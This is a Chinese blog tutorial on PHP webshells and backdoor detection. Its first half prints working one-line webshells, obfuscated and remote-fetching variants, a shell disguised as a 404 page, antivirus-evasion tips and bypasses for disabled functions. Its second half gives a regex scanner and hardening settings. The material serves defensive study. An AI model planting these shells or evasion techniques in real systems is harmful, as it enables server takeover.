PHP安全之webshell和后门检测

PHP安全之webshell和后门检测

一、各种webshell

一句话木马,其形式如下所示:

if(isset($_REQUEST['cmd'])){

    $cmd = ($_REQUEST["cmd"]);

    system($cmd);

    echo "$cmd

";

    die;

}

?>

这种容易被安全软件检测出来。为了增强隐蔽性,出现了各种一句话木马的变形,通过各种函数来伪装,这里不得不吐槽PHP弱类型对于安全来说是致命的

a、使用str_replace函数

"","axsxxsxexrxxt");$a($_POST["code"]); ?>

 

//说明:请求参数  ?code=fputs(fopen(base64_decode(J2MucGhwJw==),w),base64_decode("PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg=="))

最终执行命令'c.php',w),""))?>

b、使用str_rot13函数

'code']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($code)''add'); ?>

//说明:首先,将eval函数用str_rot13('riny')隐藏。然后,利用 e 修饰符,在preg_replace完成字符串替换后,使得引擎将结果字符串作为php代码使用eval方式进行评估并将返回值作为最终参与替换的字符串。

c、使用include函数

'code'];include ($filename); ?>

 

//由于include方法可以直接编译任何格式的文件为php格式运行,因此可以上传一个txt格式的php文件,将真正的后门写在文本当中。

d、使用pack函数

if(empty($_SESSION['api']))

    $_SESSION['api']=substr(file_get_contents(sprintf('%s?  %s',pack(“H*”,'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649);

    @preg_replace(“~(.*)~ies”,gzuncompress($_SESSION['api']),null);

?>

e、使用session

session_start();

$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);

$_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');

f、隐藏在html页面

"-//IETF//DTD HTML 2.0//EN">

<head>

404 Not Found<</code><code>/title</code><code>></code></p> <p><code><</code><code>/head</code><code>><body></code></p> <p><code><h1>Not Found<</code><code>/h1</code><code>></code></p> <p><code><p>The requested URL was not found on this server.<</code><code>/p</code><code>></code></p> <p><code><</code><code>/body</code><code>><</code><code>/html</code><code>></code></p> <p><code><?php</code></p> <p><code>@preg_replace(</code><code>"/[pageerror]/e"</code><code>,$_POST[</code><code>'error'</code><code>],</code><code>"saft"</code><code>);</code></p> <p><code>header(</code><code>'HTTP/1.1 404 Not Found'</code><code>);</code></p> <p><code>?></code></p> <p>g、使用assert函数</p> <p><?php assert($_POST[sb]);?></p> <p>或者</p> <p><code><?php</code></p> <p><code>$item[</code><code>'wind'</code><code>] = </code><code>'assert'</code><code>;</code></p> <p><code>$array[] = $item;</code></p> <p><code>$array[0][</code><code>'wind'</code><code>]($_POST[</code><code>'iixosmse'</code><code>]);</code></p> <p>h、使用copy函数复制文件</p> <p><code><?php</code></p> <p><code>$reg=</code><code>"c"</code><code>.</code><code>"o"</code><code>.</code><code>"p"</code><code>.</code><code>"y"</code><code>;</code></p> <p><code>$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);</code></p> <h3>二、代码混淆</h3> <p><code><?php </code></p> <p><code>@$_++; </code><code>//</code> <code>$_ = 1 </code></p> <p><code>$__=(</code><code>"#"</code><code>^</code><code>"|"</code><code>); </code><code>//</code> <code>$__ = _ </code></p> <p><code>$__.=(</code><code>"."</code><code>^</code><code>"~"</code><code>); </code><code>//</code> <code>_P </code></p> <p><code>$__.=(</code><code>"/"</code><code>^</code><code>"`"</code><code>); </code><code>//</code> <code>_PO </code></p> <p><code>$__.=(</code><code>"|"</code><code>^</code><code>"/"</code><code>); </code><code>//</code> <code>_POS </code></p> <p><code>$__.=(</code><code>"{"</code><code>^</code><code>"/"</code><code>); </code><code>//</code> <code>_POST </code></p> <p><code>${$__}[!$_](${$__}[$_]); </code><code>//</code> <code>$_POST[0]($_POST[1]); </code></p> <p><code>?></code></p> <p>或者</p> <p><code><?php </code></p> <p><code>    </code><code>$penh=</code><code>"sIGpvaW4oYXJyYgiXlfc2xpY2UoJGEsgiJGMoJGEpLTgiMpKSkpgiKTtlY2hvICc8LycgiuJgiGsugiJz4nO30="</code><code>; </code></p> <p><code>    </code><code>$kthe=</code><code>"JGEpPjgiMpeyRrPSgidwcyc7ZWNobyAnPCcgiugiJGsuJz4nOgi2V2YWwoYgimFzZTY0X2giRlY2gi9kgiZShwcmVn"</code><code>; </code></p> <p><code>    </code><code>$ftdf = str_replace(</code><code>"w"</code><code>,</code><code>""</code><code>,</code><code>"stwrw_wrwepwlwawcwe"</code><code>); </code></p> <p><code>    </code><code>$wmmi=</code><code>"X3JlcgiGxhY2UgioYXgiJyYXkoJy9bXlx3PVgixzXS8nLCgicvXHMvJyksIGFycmF5KCcnLCcrgiJyk"</code><code>; </code></p> <p><code>    </code><code>$zrmt=</code><code>"JGM9J2NvdWgi50JzskgiYT0gikX0NgiPT0tJRgiTtpZihyZXNldCgkYSk9PSgidvbycggiJgiiYgJGMo"</code><code>; </code></p> <p><code>    </code><code>$smgv = $ftdf(</code><code>"f"</code><code>, </code><code>""</code><code>, </code><code>"bfafsfef6f4_fdfefcodfe"</code><code>); </code></p> <p><code>    </code><code>$jgfi = $ftdf(</code><code>"l"</code><code>,</code><code>""</code><code>,</code><code>"lclrlelaltel_functlilon"</code><code>); </code></p> <p><code>    </code><code>$rdwm = $jgfi(</code><code>''</code><code>, $smgv($ftdf(</code><code>"gi"</code><code>, </code><code>""</code><code>, $zrmt.$kthe.$wmmi.$penh))); $rdwm(); </code></p> <p><code>?></code></p> <p>可以使用weevely工具来生成,代码伪装避开各种主流的杀毒软件</p> <blockquote> <p>PHP后门生成工具weevely</p> <p>weevely是一款针对PHP的webshell的自由软件,可用于模拟一个类似于telnet的连接shell,weevely通常用于web程序的漏洞利用,隐藏后门或者使用类似telnet的方式来代替web 页面式的管理,weevely生成的服务器端php代码是经过了base64编码的,所以可以骗过主流的杀毒软件和IDS,上传服务器端代码后通常可以通过weevely直接运行。</p> <p>weevely所生成的PHP后门所使用的方法是现在比较主流的base64加密结合字符串变形技术,后门中所使用的函数均是常用的字符串处理函数,被作为检查规则的eval,system等函数都不会直接出现在代码中,从而可以致使后门文件绕过后门查找工具的检查。使用暗组的Web后门查杀工具进行扫描,结果显示该文件无任何威胁。</p> </blockquote> <p>更常用的混淆视听的方法:(这种是服务器层面的混淆)</p> <ul> <li> <p>修改文件时间</p> </li> <li> <p>改名融入上传后所在文件夹,让人无法直观看出文件异常</p> </li> <li> <p>文件大小的伪装处理(至少看起大小像个正常脚本)</p> </li> <li> <p>选好藏身路径并尽量少的访问</p> </li> <li> <p>畸形目录%20</p> </li> </ul> <h3>三、如果绕过配置文件</h3> <p>一般的服务器管理员会把 system、exec等危险函数禁用的,那么如何绕过呢?</p> <h3>1、使用反射</h3> <p>相关内容可参考:http://cn2.php.net/manual/en/reflectionfunction.invokeargs.php。</p> <pre><code class="language-html hljs"><?php $func = new ReflectionFunction("system"); echo $func->invokeArgs(array("$_GET[c]")); ?></code></pre> <p> </p> <p>2、使用callback</p> <p>php提供的另外一种可间接调用函数的方法是callback. 这里使用了ob_start.具体说明可参考:http://www.php.net/manual/en/function.ob-start.php</p> <p><code><?php</code></p> <p><code>$cb= </code><code>'system'</code><code>;</code></p> <p><code>ob_start($cb);</code></p> <p><code>echo</code> <code>$_GET[c];</code></p> <p><code>ob_end_flush();</code></p> <p><code>?></code></p> <p>php中支持callback的函数还有很多,比如 array_map,array_filter, array_reduce,usort(),uksort(),array_walk() 等</p> <p> </p> <h3>四、安全人员应该怎么做</h3> <h3>1、如何查找</h3> <p>直观寻找方式也有很多</p> <ul> <li> <p>通过文件名/修改时间/大小,文件备份比对发现异常(SVN/Git对比,查看文件是否被修改)</p> </li> <li> <p>通过WEBSHELL后门扫描脚本发现,如Scanbackdoor.php/Pecker/shelldetect.php/(zhujiweishi )</p> </li> <li> <p>通过access.log访问日志分析</p> </li> </ul> <p>下面是360 zhujiweishi ,在linux服务器上非常简单好用</p> <p>通过常见的关键词如(可以使用find 和 grep 等命令结合起来搜索代码中是否包含以下文件)</p> <ul> <li> <p>系统命令执行: system, passthru, shell_exec, exec, popen, proc_open</p> </li> <li> <p>代码执行: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13</p> </li> <li> <p>文件包含: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite</p> </li> </ul> <p>通过简单的python脚本</p> <p><code>#!/usr/bin/env python</code></p> <p><code># encoding: utf-8</code></p> <p><code> </code> </p> <p><code>import</code> <code>os,sys</code></p> <p><code>import</code> <code>re</code></p> <p><code>import</code> <code>hashlib</code></p> <p><code>import</code> <code>time</code></p> <p><code> </code> </p> <p><code>rulelist </code><code>=</code> <code>[</code></p> <p><code>    </code><code>'(\$_(GET|POST|REQUEST)\[.{0,15}\]\s{0,10}\(\s{0,10}\$_(GET|POST|REQUEST)\[.{0,15}\]\))'</code><code>,</code></p> <p><code>    </code><code>'((eval|assert)(\s|\n)*\((\s|\n)*\$_(POST|GET|REQUEST)\[.{0,15}\]\))'</code><code>,</code></p> <p><code>    </code><code>'(eval(\s|\n)*\(base64_decode(\s|\n)*\((.|\n){1,200})'</code><code>,</code></p> <p><code>    </code><code>'(function\_exists\s*\(\s*[\'|\"](popen|exec|proc\_open|passthru)+[\'|\"]\s*\))'</code><code>,</code></p> <p><code>    </code><code>'((exec|shell\_exec|passthru)+\s*\(\s*\$\_(\w+)\[(.*)\]\s*\))'</code><code>,</code></p> <p><code>    </code><code>'(\$(\w+)\s*\(\s.chr\(\d+\)\))'</code><code>,</code></p> <p><code>    </code><code>'(\$(\w+)\s*\$\{(.*)\})'</code><code>,</code></p> <p><code>    </code><code>'(\$(\w+)\s*\(\s*\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\]\s*\))'</code><code>,</code></p> <p><code>    </code><code>'(\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\]\(\s*\$(.*)\))'</code><code>,</code></p> <p><code>    </code><code>'(\$\_\=(.*)\$\_)'</code><code>,</code></p> <p><code>    </code><code>'(\$(.*)\s*\((.*)\/e(.*)\,\s*\$\_(.*)\,(.*)\))'</code><code>,</code></p> <p><code>    </code><code>'(new com\s*\(\s*[\'|\"]shell(.*)[\'|\"]\s*\))'</code><code>,</code></p> <p><code>    </code><code>'(echo\s*curl\_exec\s*\(\s*\$(\w+)\s*\))'</code><code>,</code></p> <p><code>    </code><code>'((fopen|fwrite|fputs|file\_put\_contents)+\s*\((.*)\$\_(GET|POST|REQUEST|COOKIE|SERVER)+\[(.*)\](.*)\))'</code><code>,</code></p> <p><code>    </code><code>'(\(\s*\$\_FILES\[(.*)\]\[(.*)\]\s*\,\s*\$\_(GET|POST|REQUEST|FILES)+\[(.*)\]\[(.*)\]\s*\))'</code><code>,</code></p> <p><code>    </code><code>'(\$\_(\w+)(.*)(eval|assert|include|require|include\_once|require\_once)+\s*\(\s*\$(\w+)\s*\))'</code><code>,</code></p> <p><code>    </code><code>'((include|require|include\_once|require\_once)+\s*\(\s*[\'|\"](\w+)\.(jpg|gif|ico|bmp|png|txt|zip|rar|htm|css|js)+[\'|\"]\s*\))'</code><code>,</code></p> <p><code>    </code><code>'(eval\s*\(\s*\(\s*\$\$(\w+))'</code><code>,</code></p> <p><code>    </code><code>'((eval|assert|include|require|include\_once|require\_once|array\_map|array\_walk)+\s*\(\s*\$\_(GET|POST|REQUEST|COOKIE|SERVER|SESSION)+\[(.*)\]\s*\))'</code><code>,</code></p> <p><code>    </code><code>'(preg\_replace\s*\((.*)\(base64\_decode\(\$)'</code></p> <p><code>    </code><code>]</code></p> <p><code> </code> </p> <p><code>def</code> <code>scan(path):</code></p> <p><code>    </code><code>print</code><code>(</code><code>'           可疑文件         '</code><code>)</code></p> <p><code>    </code><code>print</code><code>(</code><code>'*'</code><code>*</code><code>30</code><code>)</code></p> <p><code>    </code><code>for</code> <code>root,dirs,files </code><code>in</code> <code>os.walk(path):</code></p> <p><code>        </code><code>for</code> <code>filespath </code><code>in</code> <code>files:</code></p> <p><code>            </code><code>if</code> <code>os.path.getsize(os.path.join(root,filespath))<</code><code>1024000</code><code>:</code></p> <p><code>                </code><code>file</code><code>=</code> <code>open</code><code>(os.path.join(root,filespath))</code></p> <p><code>                </code><code>filestr </code><code>=</code> <code>file</code><code>.read()</code></p> <p><code>                </code><code>file</code><code>.close()</code></p> <p><code>                </code><code>for</code> <code>rule </code><code>in</code> <code>rulelist:</code></p> <p><code>                    </code><code>result </code><code>=</code> <code>re.</code><code>compile</code><code>(rule).findall(filestr)</code></p> <p><code>                    </code><code>if</code> <code>result:</code></p> <p><code>                        </code><code>print</code> <code>'文件:'</code><code>+</code><code>os.path.join(root,filespath )</code></p> <p><code>                        </code><code>print</code> <code>'恶意代码:'</code><code>+</code><code>str</code><code>(result[</code><code>0</code><code>][</code><code>0</code><code>:</code><code>200</code><code>])</code></p> <p><code>                        </code><code>print</code> <code>(</code><code>'最后修改时间:'</code><code>+</code><code>time.strftime(</code><code>'%Y-%m-%d %H:%M:%S'</code><code>,time.localtime(os.path.getmtime(os.path.join(root,filespath)))))</code></p> <p><code>                        </code><code>print</code> <code>'\n\n'</code></p> <p><code>                        </code><code>break</code></p> <p><code>def</code> <code>md5sum(md5_file):</code></p> <p><code>    </code><code>m </code><code>=</code> <code>hashlib.md5()</code></p> <p><code>    </code><code>fp </code><code>=</code> <code>open</code><code>(md5_file)</code></p> <p><code>    </code><code>m.update(fp.read())</code></p> <p><code>    </code><code>return</code> <code>m.hexdigest()</code></p> <p><code>    </code><code>fp.close()</code></p> <p><code> </code> </p> <p><code>if</code> <code>md5sum(</code><code>'/etc/issue'</code><code>) </code><code>=</code><code>=</code> <code>'3e3c7c4194b12af573ab11c16990c477'</code><code>:</code></p> <p><code>    </code><code>if</code> <code>md5sum(</code><code>'/usr/sbin/sshd'</code><code>) </code><code>=</code><code>=</code> <code>'abf7a90c36705ef679298a44af80b10b'</code><code>:</code></p> <p><code>        </code><code>pass</code></p> <p><code>    </code><code>else</code><code>:</code></p> <p><code>        </code><code>print</code><code>(</code><code>'*'</code><code>*</code><code>40</code><code>)</code></p> <p><code>        </code><code>print</code> <code>"\033[31m sshd被修改,疑似留有后门\033[m"</code></p> <p><code>        </code><code>print</code><code>(</code><code>'*'</code><code>*</code><code>40</code><code>)</code></p> <p><code>        </code><code>time.sleep(</code><code>5</code><code>)</code></p> <p><code>if</code> <code>md5sum(</code><code>'/etc/issue'</code><code>) </code><code>=</code><code>=</code> <code>'6c9222ee501323045d85545853ebea55'</code><code>:</code></p> <p><code>    </code><code>if</code> <code>md5sum(</code><code>'/usr/sbin/sshd'</code><code>) </code><code>=</code><code>=</code> <code>'4bbf2b12d6b7f234fa01b23dc9822838'</code><code>:</code></p> <p><code>        </code><code>pass</code></p> <p><code>    </code><code>else</code><code>:</code></p> <p><code>        </code><code>print</code><code>(</code><code>'*'</code><code>*</code><code>40</code><code>)</code></p> <p><code>        </code><code>print</code> <code>"\033[31m sshd被修改,疑似留有后门\033[m"</code></p> <p><code>        </code><code>print</code><code>(</code><code>'*'</code><code>*</code><code>40</code><code>)</code></p> <p><code>        </code><code>time.sleep(</code><code>5</code><code>)</code></p> <p><code>if</code> <code>__name__</code><code>=</code><code>=</code><code>'__main__'</code><code>:</code></p> <p><code> </code> </p> <p><code>    </code><code>if</code> <code>len</code><code>(sys.argv)!</code><code>=</code><code>2</code><code>:</code></p> <p><code>        </code><code>print</code> <code>'参数错误'</code></p> <p><code>        </code><code>print</code> <code>"\t按恶意代码查找:"</code><code>+</code><code>sys.argv[</code><code>0</code><code>]</code><code>+</code><code>'目录名'</code></p> <p><code>    </code><code>if</code> <code>os.path.lexists(sys.argv[</code><code>1</code><code>]) </code><code>=</code><code>=</code> <code>False</code><code>:</code></p> <p><code>        </code><code>print</code> <code>"目录不存在"</code></p> <p><code>        </code><code>exit()</code></p> <p><code>    </code><code>print</code> <code>(</code><code>'\n\n开始查找:'</code><code>+</code><code>sys.argv[</code><code>1</code><code>])</code></p> <p><code>    </code><code>if</code> <code>len</code><code>(sys.argv) </code><code>=</code><code>=</code><code>2</code><code>:</code></p> <p><code>        </code><code>scan(sys.argv[</code><code>1</code><code>])</code></p> <p><code>    </code><code>else</code><code>:</code></p> <p><code>        </code><code>exit()</code></p> <p>2、如何防范</p> <p>php.ini 设置</p> <ul> <li> <p>disable_functions =phpinfo,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,get_current_user,leak,putenv,popen,opendir</p> </li> <li> <p>设置“safe_mode”为“on”</p> </li> <li> <p>禁止“open_basedir” 可以禁止指定目录之外的文件操作</p> </li> <li> <p>expose_php设为off 这样php不会在http文件头中泄露信息</p> </li> <li> <p>设置“allow_url_fopen”为“off” 可禁止远程文件功能</p> </li> <li> <p>log_errors”设为“on” 错误日志开启</p> </li> </ul> <p>php编码方面</p> <ul> <li> <p>所有用户提交的信息  post get 或是其他形式提交的数据 都要单独写个过滤函数处理一遍,养成习惯(intval,strip_tags,mysql_real_escape_string)</p> </li> <li> <p>经常检查有没有一句话木马 eval($_POST[ 全站搜索php代码有没有这样的源代码</p> </li> <li> <p>文件要命名规范 至少让自己可以一目了然,哪些php文件名字有问题</p> </li> <li> <p>如用开源代码,有补丁出来的话,尽快打上补丁</p> </li> <li> <p>如果攻击者拿到了服务器的最高权限,有可能通过修改服务器的配置文件php.ini来达到他们隐藏后门的目的,前几年比较流行。原理如下:php.ini 里面的这两个配置项:auto_prepend_file ,auto_append_file 可以让php解析前,自己加点东西进去 Automatically add files before or after any PHP document,如果被配置了eval()函数的后门 那就很阴险了,php文件代码里面查不出,只会在php解析前包含eval()函数进来 并且因为是全局的 所以所有php页面都是后门!所以要先确认auto_prepend_file ,auto_append_file没被配置成其他东西,才进行第3点的源代码检查。</p> </li> </ul> <p>服务器配置</p> <p>配置的时候尽量使用最小权限,不要写入或者执行的目录不能给相应的权限</p> <p>nginx或者apache配置的时候,不能访问的目录一定要配置为deny</p> <p> </p> <p> </p> <p> </p> <p>文章出处;https://www.cnblogs.com/chenpingzhao/p/6562415.html</p> <p>参考文章</p> <p>https://github.com/chenpingzhao/php-webshells</p> <p>http://blog.csdn.net/miltonzhong/article/details/9714367</p> <p>http://blog.jobbole.com/53821/</p> <p>posted @ 2019-05-06 22:01 卿先生 阅读(...) 评论(...) 编辑 收藏</p> </div> </div> </div> </div> </div> <!--PC和WAP自适应版--> <div id="SOHUCS" sid="1188359937802215424"></div> <script type="text/javascript" src="/views/front/js/chanyan.js"></script> <!-- 文章页-底部 动态广告位 --> <div class="youdao-fixed-ad" id="detail_ad_bottom"></div> </div> <div class="col-md-3"> <div class="row" id="ad"> <!-- 文章页-右侧1 动态广告位 --> <div id="right-1" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_1"> </div> </div> <!-- 文章页-右侧2 动态广告位 --> <div id="right-2" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_2"></div> </div> <!-- 文章页-右侧3 动态广告位 --> <div id="right-3" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_3"></div> </div> </div> </div> </div> </div> </div> <div class="container"> <h4 class="pt20 mb15 mt0 border-top">你可能感兴趣的:(代码审计,Web渗透,木马免杀)</h4> <div id="paradigm-article-related"> <div class="recommend-post mb30"> <ul class="widget-links"> <li><a href="/article/1950023029220241408.htm" title="代码审计与web安全选择题1" target="_blank">代码审计与web安全选择题1</a> <span class="text-muted">m0_74726609</span> <a class="tag" taget="_blank" href="/search/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/1.htm">代码审计</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/1.htm">网络安全</a> <div>软件供应链安全的基础是()A.完善的需求分析B.源代码安全C.渗透测试D.软件测试参考答案:B保证源代码安全的主要措施包括()A.开发工具和环境的安全B.代码安全C.渗透测试D.代码审计E.软件的说明文档完整参考答案:ABCD通过()技术,实现源代码在终端、网络及服务器存储场景下全周期的安全管理,防止内部代码有意、无意泄露、扩散出去。A.数据加B.数据脱C.数据安全隔离D.防火墙参考答案:C软件供</div> </li> <li><a href="/article/1949840680482304000.htm" title="MyBatis中#{}与${}的实战避坑指南" target="_blank">MyBatis中#{}与${}的实战避坑指南</a> <span class="text-muted"></span> <div>MyBatis在持久层框架中占据举足轻重的地位,其映射文件中的两种参数占位符——#{}与${}——常常令初学者困惑,也令资深开发者反复斟酌。笔者在日常代码审计与性能调优过程中,屡次遇到因二者混用而导致的生产事故,因此决定撰写一篇技术博客,结合真实项目片段,系统梳理二者的使用差异、安全边界与工程落地细节。全文约三千字,力求言必有据,例证皆来自可运行的源码仓库,读者可直接复现并验证。在MyBatis的</div> </li> <li><a href="/article/1949705393823346688.htm" title="WEB安全--Java安全--jsp webshell免杀" target="_blank">WEB安全--Java安全--jsp webshell免杀</a> <span class="text-muted"></span> <div>1.1、BCELClassLoader介绍(仅适用于BCEL6.0以下):BCEL(ApacheCommonsBCEL™)是一个用于分析、创建和操纵Java类文件的工具库;BCEL的类加载器在解析类名时会对ClassName中有BCEL标识的类做特殊处理,该特性经常被用于编写各类攻击Payload。当BCEL的loadClass加载一个类名中带有BCEL$$”的类时会截取出BCEL后面的字符串,然</div> </li> <li><a href="/article/1949666688106557440.htm" title="从meterpreter工作原理到免杀方式的分析" target="_blank">从meterpreter工作原理到免杀方式的分析</a> <span class="text-muted"></span> <div>目录Meterpreter工作原理艰难坎坷的payload落地stage0payload工作原理关于免杀的思考模糊混淆特征自编码解码黑盒角度深入探究杀软引擎工作方式代码地址Meterpreter工作原理msfvenom-ax86--platformwindows-pwindows/meterpreter/reverse_tcpLHOST=127.0.0.1LPORT=31012-fc>test2.</div> </li> <li><a href="/article/1949549944851460096.htm" title="2018-01-20" target="_blank">2018-01-20</a> <span class="text-muted">吉光片羽_9bc2</span> <div>一日一景达拉木马寓吉祥,缤份羽毛靓彩蛋。金陵古城麒麟影,飞鸟祥云灵芝形。图片发自App</div> </li> <li><a href="/article/1949420955122069504.htm" title="【攻防世界】 web | fileclude 详细题解WP" target="_blank">【攻防世界】 web | fileclude 详细题解WP</a> <span class="text-muted">white-persist</span> <a class="tag" taget="_blank" href="/search/%E6%94%BB%E9%98%B2%E4%B8%96%E7%95%8C/1.htm">攻防世界</a><a class="tag" taget="_blank" href="/search/WEB/1.htm">WEB</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a><a class="tag" taget="_blank" href="/search/android/1.htm">android</a><a class="tag" taget="_blank" href="/search/%E5%8E%9F%E5%9E%8B%E6%A8%A1%E5%BC%8F/1.htm">原型模式</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a><a class="tag" taget="_blank" href="/search/php/1.htm">php</a> <div>【攻防世界】web|fileclude详细题解WP打开环境首先代码审计阅读代码,有include()函数并且有GET传参的file1、file2的两个参数,猜测是文件包含伪协议题目文件包含伪协议【攻防世界】web|file_include详细题解WP-CSDN博客在我的一篇博客中有过一些详细的介绍,需要的话可以看看核心突破点在于:file_get_contents($file2)===“hello</div> </li> <li><a href="/article/1949231946043289600.htm" title="底软基础 | 嵌入式程序员编程必看的525钟C/C++ 安全编程问题" target="_blank">底软基础 | 嵌入式程序员编程必看的525钟C/C++ 安全编程问题</a> <span class="text-muted">TrustZone_</span> <a class="tag" taget="_blank" href="/search/%E9%9D%A2%E8%AF%950-1/1.htm">面试0-1</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a><a class="tag" taget="_blank" href="/search/C/1.htm">C</a><a class="tag" taget="_blank" href="/search/C%2B%2B/1.htm">C++</a> <div>《360安全规则集合》简称《安规集》,是一套详细的C/C++安全编程指南,由360集团质量工程部编著,将编程时需要注意的问题总结成若干规则,可为制定编程规范提供依据,也可为代码审计或相关培训提供指导意见,旨在提升软件产品的可靠性、健壮性、可移植性以及可维护性,从而提升软件产品的综合安全性能。原文链接:https://saferules.github.io/C/C++安全规则集合[外链图片转存中…(</div> </li> <li><a href="/article/1949112210554941440.htm" title="翻转信念中的“木马程序”之一" target="_blank">翻转信念中的“木马程序”之一</a> <span class="text-muted">楚丹丹</span> <div>写在前面:翻转信念中的“木马程序”是对疗愈这些“木马程序”的第三、甚至是第四个环节。第一个环节是认知木马程序,你必须先认出你信念中的木马程序,看见它,承认它的存在是你的一部分。第二个环节是疗愈,用光、用拥抱、用能量,用你的直觉告诉你的方式都可以。第三个环节才是翻转木马程序,改写你的故事,创造新的生活故事。要想实现疗愈,仅仅翻转这些木马程序是不够的,当你认出你的木马程序之后的书写先是要写出这些木马程</div> </li> <li><a href="/article/1949065742611705856.htm" title="揭秘破解密码的常见方法和手段(非常详细),零基础入门到精通,看这一篇就够了" target="_blank">揭秘破解密码的常见方法和手段(非常详细),零基础入门到精通,看这一篇就够了</a> <span class="text-muted">程序员小雨Y</span> <a class="tag" taget="_blank" href="/search/%E7%A0%B4%E8%A7%A3%E5%AF%86%E7%A0%81/1.htm">破解密码</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E6%94%BB%E9%98%B2/1.htm">网络攻防</a><a class="tag" taget="_blank" href="/search/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/1.htm">渗透测试</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/1.htm">网络安全</a><a class="tag" taget="_blank" href="/search/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E6%B5%81%E7%A8%8B/1.htm">渗透测试流程</a><a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8/1.htm">web安全</a> <div>文章目录前言键盘监听木马暴力破解钓鱼攻击爬虫收集信息泄露AI硬件支持社工==零基础入门网络安全/黑客技术==【----帮助网安学习,以下所有学习资料文末免费领取!----】大纲学习教程面试刷题资料领取前言今天小编就帮粉丝朋友科普一下,破解密码的常见方法和手段,希望看到本文的粉丝朋友,给小编点赞支持支持一波键盘监听木马键盘监听病毒在网吧中非常流行,它在启动后会监听用户的键盘输入事件,如果有人使用账号</div> </li> <li><a href="/article/1948586822892318720.htm" title="看古代才女如何斗“小三”" target="_blank">看古代才女如何斗“小三”</a> <span class="text-muted">苏绘手工织布</span> <div>女人是一所学校,因此受过教育的男人总是更受欢迎。前半生通奸,后半生捉奸的游戏生生不息。三儿们无处不在,无所不能,与三儿的交锋已上升到战略范畴。所以,新时代女性的配置要求更高:上得了厅堂,下得了厨房,杀得了木马,翻得了围墙,斗得过小三,打得过流氓!不管这渣男你最后要不要,这口气是万万咽不下去的。斗三儿攻略第一点,“稳准狠”搞定老公先。永远不要跟三儿正面交锋,倒不是怕她,而是绝对不能给她面对面的平等竞</div> </li> <li><a href="/article/1948580095480360960.htm" title="day2/30 晨间感恩日志" target="_blank">day2/30 晨间感恩日志</a> <span class="text-muted">UMe米立</span> <div>①感恩遇见。李欣频老师是我在行动派听说的,后面慢慢才有一点了解,也一直苦于没有过多关于她的资料,前两天终于花了不菲的价格买到了李欣频老师的创意四堂课,这两天也在抓紧时间学习,上课的时候特别地有感触,仿佛在剖析自己内心深处的木马程序,关于亲情,关于爱情,关于金钱,关于成长等,人生很多重大的课题都我内心深处隐藏着很多木马程序,而我此刻要去做的就是一一找到这些木马程序并逐个击破。特别感恩遇见李欣频老师的</div> </li> <li><a href="/article/1948570805940056064.htm" title="网安面试必看:RootKitUnhooker检测工具的使用" target="_blank">网安面试必看:RootKitUnhooker检测工具的使用</a> <span class="text-muted">Littlewith</span> <a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/1.htm">网络安全</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E6%9C%8D%E5%8A%A1%E5%99%A8/1.htm">服务器</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/1.htm">网络安全</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E6%94%BB%E5%87%BB%E6%A8%A1%E5%9E%8B/1.htm">网络攻击模型</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/eclipse/1.htm">eclipse</a> <div>基础:什么是RootkitRootkit是一种特殊的恶意软件,自身会保留着root的访问权限。他的目标是在安装目标上隐藏自身以及指定的文件、进程和网络链接等信息,比较多见的是Rootkit和木马、后门等恶意程序结合使用。Rootkit通过加载特殊的驱动,修改系统内核,进而隐藏信息。RootkitUnhooker是Rootkit的检测工具,主要的功能是服务描述表钩子检测和恢复、强大的进程检测、强大的</div> </li> <li><a href="/article/1947531062020206592.htm" title="【Java代码审计 | 第五篇】XSS漏洞成因+实战案例" target="_blank">【Java代码审计 | 第五篇】XSS漏洞成因+实战案例</a> <span class="text-muted">秋说</span> <a class="tag" taget="_blank" href="/search/Java%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/1.htm">Java代码审计</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/xss/1.htm">xss</a> 